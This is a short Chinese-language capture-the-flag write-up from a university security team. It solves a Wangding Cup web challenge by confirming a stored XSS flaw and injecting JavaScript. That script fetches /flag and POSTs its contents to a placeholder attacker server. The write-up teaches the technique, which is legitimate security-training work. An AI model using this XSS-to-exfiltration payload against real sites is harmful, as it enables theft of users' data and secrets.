网鼎杯 writeup
writeup by XJUSEC 我想把回忆拼好给你
本文档来自新疆大学实验室(XJUSEC)的四位师傅:H1m、Coc、j3ff、xinyi
WEB 模块
WEB02
解题步骤
初始访问与登录分析
使用浏览器打开解题地址,页面显示登录框。测试发现:输入任意密码均可登录,但登录后页面会返回一个content_hash值(需记录该值,后续插入 JS 代码时需用到)。
辅助截图 1(登录页面与content_hash):
辅助截图 2(登录后页面细节):
XSS 漏洞验证
在页面可输入代码的区域插入测试 JS 代码(如弹窗代码),刷新页面后成功触发弹窗,确认存在 XSS 漏洞。
基于 XSS 漏洞,可利用fetch API发送 HTTP 请求,进一步获取敏感信息。
辅助截图 3(XSS 漏洞验证与fetch API思路):
漏洞利用与 flag 获取
辅助截图 4(JS 脚本构造细节):
扫描网站目录发现/flag路径,推测该路径存储 flag 内容;
构造fetch请求:先通过fetch('/flag')向/flag发送请求,再用.then(response => response.text())将响应结果解析为文本(即 flag 内容);
由于需将 flag 内容回传或展示,需额外构造第二个fetch请求,将解析后的文本内容发送到指定服务器(或页面可访问的存储位置)。
关键技术点说明
XSS 漏洞利用核心:通过页面输入框注入恶意 JS 代码,利用fetch API发起跨域或同域请求,获取服务器敏感资源(如/flag);
content_hash**的作用**:后续插入自定义 JS 脚本时,需携带该hash值以通过页面的基础校验,确保脚本正常执行;
fetch API**关键逻辑**:
// 核心思路代码(示例)
fetch('/flag') // 向/flag发送请求
.then(response => response.text()) // 将响应解析为文本(flag内容)
.then(data => {
// 第二个fetch:将flag内容发送到指定地址(如自己的服务器)
fetch('http://你的服务器地址/接收flag', {
method: 'POST',
body: data // 携带flag文本
});
});